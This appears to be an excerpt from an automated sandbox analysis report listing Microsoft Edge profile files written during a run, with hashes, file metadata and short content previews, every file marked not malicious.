C:\Users\user\AppData\Local\Microsoft\Edge\User Data\43ba560f-160f-4eb5-abeb-9b75ace4ccf0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	46111
Entropy (8bit):	6.087893472780106
Encrypted:	false
SSDEEP:	768:0MkbJrT8IeQc5No/txuAhDO6vP6O+wY6MsnnvXL6Y65Dk+LCAo/Goup1Xl3jVzXx:0Mk1rT8HFo/e6ewY1Y65LRo/hu3VlXrF
MD5:	BE7315CA9E19C7B546AD15113B53A2AF
SHA1:	E2C142BEFF9B18206CD62F01E2C6EF845AB66B1F
SHA-256:	E252A1F1449AE3003476FB919E0769AE45D38FC1DE2F80B5134FDB194FC95731
SHA-512:	B3CD407807F797D60F32CEBA65B7CFA18D078AE6014C1CFD8854B6667B35C6238CDBED1E246EBFFA4D6F53E95F5014C6E9F1B11F63F9496F93445CC8F6071E41
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732320861"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNor

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\81e3f14b-7e83-4156-8141-8ff826ddf80d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44678
Entropy (8bit):	6.095833946417554
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4xkBxwuzhDO6vP6O+wY6MsnnvXL6cGoup1Xl3jVzXr4z:z/Ps+wsI7yOEA6ewY1chu3VlXr4CRo1
MD5:	36092ECEA0E58599BE22BFAA24786B60
SHA1:	E030B77AED7E0324FF4422307E635220ACF1FD08
SHA-256:	8BA269B39B5F2CFDBD07ADFA6E77C6FC5BD99872AA0CBE5BB9499C666E6B890D
SHA-512:	0041B859048E7FD1A1967F216F0CF6667EFDB8498C1E16ACBCBBB8C6C260444782942E5EA7BA8E807FDD724B93885C17C21300E3D11B9234A0D56D3E6DD3F3CA
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\821db40c-0fee-4f94-bddb-c7fe4d560bb3.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Ad Blocking\blocklist (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	107893
Entropy (8bit):	4.64013246649014
Encrypted:	false
SSDEEP:	1536:B/lv4EsQMNeQ9s5VwB34PsiaR+tjvYArQdW+Iuh57P78:fwUQC5VwBIiElEd2K57P78
MD5:	10101225085294C4AA9050CEF19E599D
SHA1:	D1E683B46B7E0B1C4DE538392F7ACB4DF6280404
SHA-256:	6F703C25109774C2D844787790FFA45183787FBFA140A5AEAD247638E0987C21
SHA-512:	A8C5867A96AD36813905AD2C01D5C18CBB82D3F1F91DFCE64E48D60EED226F1F16DBD5F3B8FC9DF065D0C641A3245EC6E59556EE4B2C219852B0C43584D334F4
Malicious:	false
Preview:	{"sites":[{"url":"24video.be"},{"url":"7dnifutbol.bg"},{"url":"6tv.dk"},{"url":"9kefa.com"},{"url":"aculpaedoslb.blogspot.pt"},{"url":"aek-live.gr"},{"url":"arcadepunk.co.uk"},{"url":"acidimg.cc"},{"url":"aazah.com"},{"url":"allehensbeverwijk.nl"},{"url":"amateurgonewild.org"},{"url":"aindasoudotempo.blogspot.com"},{"url":"anorthosis365.com"},{"url":"autoreview.bg"},{"url":"alivefoot.us"},{"url":"arbitro10.com"},{"url":"allhard.org"},{"url":"babesnude.info"},{"url":"aysel.today"},{"url":"animepornx.com"},{"url":"bahisideal20.com"},{"url":"analyseindustrie.nl"},{"url":"bahis10line.org"},{"url":"apoel365.net"},{"url":"bahissitelerisikayetleri.com"},{"url":"bambusratte.com"},{"url":"banzaj.pl"},{"url":"barlevegas.com"},{"url":"baston.info"},{"url":"atomcurve.com"},{"url":"atascadocherba.com"},{"url":"astrologer.gr"},{"url":"adultpicz.com"},{"url":"alleporno.com"},{"url":"beaver-tube.com"},{"url":"beachbabes.info"},{"url":"bearworldmagazine.com"},{"url":"bebegimdensonra.com"},{"url":"autoy

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics-spare.pma.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	B5CFA9D6C8FEBD618F91AC2843D50A1C
SHA1:	2BCCBD2F38F15C13EB7D5A89FD9D85F595E23BC3
SHA-256:	BB9F8DF61474D25E71FA00722318CD387396CA1736605E1248821CC0DE3D3AF8
SHA-512:	BD273BF4E10ED6E305ECB7B781CB065545FCE9BE9F1E2968DF22C3A98F82D719855AAFE5FF303D14EA623A5C55E51E924E10033A92A7A6B07725D7E9692B74F5
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics\BrowserMetrics-67411E58-1F34.pma

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4194304
Entropy (8bit):	0.48599902919217564
Encrypted:	false
SSDEEP:	6144:peZ/15JGYkct6eYQ+6ZwSqb0MT4aHW5p:ikcYe2DH
MD5:	842D977E3F5FAB47EDAAA8353921E4C3
SHA1:	306E2D12BB1CD051BBA8C3114138C941DEED3A18
SHA-256:	9E36990AC82F9E850B9B50606BF7C48DD36B0E5EF86FF6849268ED81E1076DE2
SHA-512:	9DA0303AE4105AEB334ECB7D19B4FF9BC508C5BCEDB74491744EB08AD32044DA579BF232F70AD17E9ED09CC694AD7495A932A0EAE5A1CDE8E92B358C06B74F30
Malicious:	false
Preview:	...@..@...@.....C.].....@...................................`... ...i.y.........BrowserMetrics......i.y..Yd. .......A...................v.0.....UV&K.k<................UV&K.k<................UMA.PersistentHistograms.InitResult.....8...i.y.[".................................................i.y.Pq.30..............117.0.2045.47-64..".en-GB...Windows NT..10.0.190452l..x86_64..?........".ijjeqn20,1(.0..8..B.......2.:.M..BU..Be...?j...GenuineIntel... .. ..........x86_64...J....k..^o..J..l.zL.^o..J....\.^o..J.....f.^o..J....?.^o..P.Z...b.INBXj....... .8.@..............(......................w..U?:K...G...W6.>.........."....."...24.."."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA=".:............B)..1.3.177.11.. .*.RegKeyNotFound2.windowsR...Z...u...V.S@..$...SF@.......Y@.......4@.......Y@........?........?.........................Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......Y@.......4@.......Y@................Y@.......Y@.......Y@........?........?2................. .`2.......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Crashpad\settings.dat

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	280
Entropy (8bit):	4.132041621771752
Encrypted:	false
SSDEEP:	3:FiWWltlApdeXKeQwFMYLAfJrAazlYBVP/Sh/JzvPWVcRVEVg3WWD5x1:o1ApdeaEqYsMazlYBVsJDu2ziy5
MD5:	845CFA59D6B52BD2E8C24AC83A335C66
SHA1:	6882BB1CE71EB14CEF73413EFC591ACF84C63C75
SHA-256:	29645C274865D963D30413284B36CC13D7472E3CD2250152DEE468EC9DA3586F
SHA-512:	8E0E7E8CCDC8340F68DB31F519E1006FA7B99593A0C1A2425571DAF71807FBBD4527A211030162C9CE9E0584C8C418B5346C2888BEDC43950BF651FD1D40575E
Malicious:	false
Preview:	sdPC......................X..<EE..r/y..."pZLhTaJ23hN5uQxwzu0K2CYes/dvJuE93VbIVV/LnRA="..................................................................................47DEQpj8HBSa+/TImW+5JCeuQeRkm5NMpJWZG3hSuFU=....................fdb35e9f-12f5-40d5-8d50-87a9333d43a4............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\0112f6be-7d99-406e-a8be-b748954530b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	24853
Entropy (8bit):	5.565804369151878
Encrypted:	false
SSDEEP:	768:+dtTPkWPv/f3O8F1+UoAYDCx9Tuqh0VfUC9xbog/OVezTUQrwGo9pNtuy:+dtTPkWPv/f3Ou1jaznUhl5tN
MD5:	357D3266BCA1E1EEF8438ADF8F7DBB66
SHA1:	8DFBA75EF27C0382A759AFB12C2C6661A4234098
SHA-256:	37A9E9BDA7954AC7C6DF16ABC5F831CF6E45EA389D31E2FF49E8FA2E9E2D7896
SHA-512:	3B6F2EFDA07E2D5E1278D5B37172ADC663CC8D8308F65DD33F65E314EE2283D9B89898AE65E3A9F73F2EC4D81F02A3FC08012FA2C0B592026515B281D428C66C
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376794456685463","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376794456685463","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\3daec3b8-211b-4180-81e9-579befc8d3e1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35114
Entropy (8bit):	5.556170236016037
Encrypted:	false
SSDEEP:	768:+wfTukWPv/fmO8F1+UoAYDCx9Tuqh0VfUC9xbog/OVhzTLQrw3MTAZiqKpNtug:+wfTukWPv/fmOu1jaYnLh3iAZfItz
MD5:	7D03B433C8D098729CE30FB00F944BDC
SHA1:	9D78113156CD3A95E29099A0C45E0AA0E0F94CEE
SHA-256:	4A491468F8F70F740300896E9C72CABC73B66A369E6F27FB3BD111549C71822D
SHA-512:	33CCCD55A6874E3CFAFACC19B54108A049D6B0EBDF1850F67CCB64BBB7FE4445BDC57828B5D60D8DC684E611D333D50EA8A1B7327BBFDA34DF3BFA4777CD9384
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376794456685463","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376794456685463","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\437f5897-354a-4a6e-93d5-51bc06f61423.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\6f488f7e-2902-45a1-9cbd-38220002e593.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\7019c167-14c5-4543-8bda-e75c25910f44.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9817
Entropy (8bit):	5.116915284291118
Encrypted:	false
SSDEEP:	192:stt+kdpPWsrYsZihUkpWKG8jbV+FQVQA66WraFIMYJPvYJ:stt+QusrYfhxzbG+Qx6WraTYq
MD5:	D2C4A6F9A75EF02951EFB808141A4B86
SHA1:	3CCBA8ED5B4AA48BC8744F61A45877B7A2C920B6
SHA-256:	7484A96C4938B8225531E28733E461644C9D5975D77A67FFFD934653BCF59E11
SHA-512:	A12D4AA106DA978B9AD2AAB084B2C1C223C579D015F726959280117A58F0191EB60EBD055378A4FDAF3EEB5F61FA530A151D45C1481B822B1C8740568DACBC9C
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376794457319860","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1},"countryid_at_install":17224,"custom_links":{"l

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\989aa620-7575-4d54-93da-f8f00d1bd3b1.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40470
Entropy (8bit):	5.561425168355108
Encrypted:	false
SSDEEP:	768:+wfToW7pLGLPukWPv/fmO8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQcszTLQrw3MTLN:+wfTo2cPukWPv/fmOu1jaNcsnLh3iLd/
MD5:	05FF31D388BAC67620AC44428D6F75A9
SHA1:	8709FF86BC5F91C36ED7A7F4FD4326125B47A872
SHA-256:	B907A5A769ED4FCFE0D2C760FBA0FDF26F79177F51F48D537A42D63D5686A4B4
SHA-512:	71835E7B5192312D02D7140364304ED2FE7678EC6422AB58CBE1BAAF5CCEBD3B1C01B0C8B3BFB0A5BD8BE6C7979A7DFD69195C8D49E6B0F1972E1F06B31B9791
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13376794456685463","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13376794456685463","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\991fd79f-92e2-4546-b232-78b8a1321833.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (16766), with no line terminators
Category:	dropped
Size (bytes):	16767
Entropy (8bit):	5.449961218756376
Encrypted:	false
SSDEEP:	384:stt+PGQSu4usrYfhxatriPfObG+QwQ6WraTYq:sWOXuWYffgbGN3HaTYq
MD5:	53B35283D7044EDA03C28F679EC526D4
SHA1:	F1969D09D97A390308BAED764C576371A61DAF1B
SHA-256:	35290112587978DB460271DB49B47E1D0C18D81E9A60042D891C24CA1DF89E58
SHA-512:	9673BE12A36E7B611E8572ADF20A6429B7339A47929D49BA57742D9B33A0D36C4E50C4C96D04EC278C8DA316AE4C652B5752332238CD9731783B06E1EC8DF5D2
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13376794457319860","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.5394429593752084
Encrypted:	false
SSDEEP:	3:iWstvhYNrkUn:iptAd
MD5:	F27314DD366903BBC6141EAE524B0FDE
SHA1:	4714D4A11C53CF4258C3A0246B98E5F5A01FBC12
SHA-256:	68C7AD234755B9EDB06832A084D092660970C89A7305E0C47D327B6AC50DD898
SHA-512:	07A0D529D9458DE5E46385F2A9D77E0987567BA908B53DDB1F83D40D99A72E6B2E3586B9F79C2264A83422C4E7FC6559CAC029A6F969F793F7407212BB3ECD51
Malicious:	false
Preview:	...m.................DB_VERSION.1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	307
Entropy (8bit):	5.189408957756846
Encrypted:	false
SSDEEP:	6:Huq1923oH+Tcwtp3hBtB2KLlVm8q2P923oH+Tcwtp3hBWsIFUv:OfYebp3dFLDv4Yebp3eFUv
MD5:	8DFB4A5974E7BCDE987EAD55A5C890F4
SHA1:	3B84DF38F3034A1E1EE79ACA276319C5834D9D00
SHA-256:	8EE220B49368570847CE1CAB3ACE117B1079CF1EED97858CBC87BF92C0FAF37C
SHA-512:	6DA6FEAE119CA0125D311F48FB4BF4F54510A91298178EFB075A0352EDABEC16A9924EB342FA27379FA454CF123DEE1007B5CA7D4CD427F2E28B91E62B8932E4
Malicious:	false
Preview:	2024/11/22-19:14:22.621 140 Creating DB C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db since it was missing..2024/11/22-19:14:22.671 140 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform/auto_show_data.db/MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\AdPlatform\auto_show_data.db\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	modified
Size (bytes):	2163821
Entropy (8bit):	5.222882277122398
Encrypted:	false
SSDEEP:	24576:v+/PN8FofI/MXhZSihQgCmnVAEpENU2iOYcafbE2n:v+/PN8afx2mjF
MD5:	165F92875A5332BB16C1958F0C3BADD1
SHA1:	AA2AFF79B7E3A3212012667E09E8C322E5D4DD2A
SHA-256:	938EBF6498099C0494092DFF8EB50541F757FEDB4187671A4D7542D78E17788A
SHA-512:	69883CD2A4CF17A1C0B79C23EFC27CD691E7D042BC07F80B232C902B23B375F71D5C8886557457830C0BB5886390214C5A2352A73FFD75F3E8771D520528735A
